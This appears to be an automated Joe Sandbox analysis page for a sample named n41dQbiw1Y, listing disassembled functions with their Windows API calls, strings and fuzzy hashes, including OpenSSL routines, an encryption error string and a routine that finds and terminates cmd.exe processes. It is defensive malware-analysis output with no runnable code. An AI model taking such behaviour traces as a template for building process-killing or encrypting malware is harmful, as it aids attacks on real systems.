Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

fopen(', xrefs: 00465611
',', xrefs: 0046560B
.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF
Error encrypting message: %s, xrefs: 0040CE67

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 93595389c697f1e1560b2081af443427750297e888cb5166afdc8763cf47933c
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 93595389c697f1e1560b2081af443427750297e888cb5166afdc8763cf47933c
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

Proc-Type: , xrefs: 0046337C
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
ENCRYPTED, xrefs: 004633BC
DEK-Info: , xrefs: 00463422

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Function 004C5D39 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(00000001,00000000,0042520D,00420CE9,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__invoke_watson.LIBCMT ref: 004C5D9B
__get_sys_err_msg.LIBCMT ref: 004C5DCD
__invoke_watson.LIBCMT ref: 004C5DEB

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg__invoke_watson$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 2139067377-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

+, xrefs: 00457475
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
0123456789ABCDEF, xrefs: 004574D6
0123456789abcdef, xrefs: 004574C4
, xrefs: 00457482

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Function 004416EB Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
__invoke_watson.LIBCMT ref: 00441780
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

reason(%lu), xrefs: 00450758
lib(%lu), xrefs: 0045071C
func(%lu), xrefs: 00450734
error:%08lX:%s:%s:%s, xrefs: 00450792

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0
g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463097
phrase is too short, needs to be at least %d chars, xrefs: 00463070
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00770000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Function 004229A9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00422A5F
__write.LIBCMT ref: 00422A92
__flsbuf.LIBCMT ref: 00422AC0

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Strings

A, xrefs: 00422A87, 00422AB8, 00422A3A, 00422A9F, 00422A44

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write
String ID: A
API String ID: 3115901604-2078354741
Opcode ID: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction ID: 74c924880168de559db59c14e1a2c39f6381d3f38157317aef41ba5f0430eaff
Opcode Fuzzy Hash: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction Fuzzy Hash: F041F870700626BFDB289F69EA8056F77A5BF44360B94813FE805C7740D6F8DD818B58

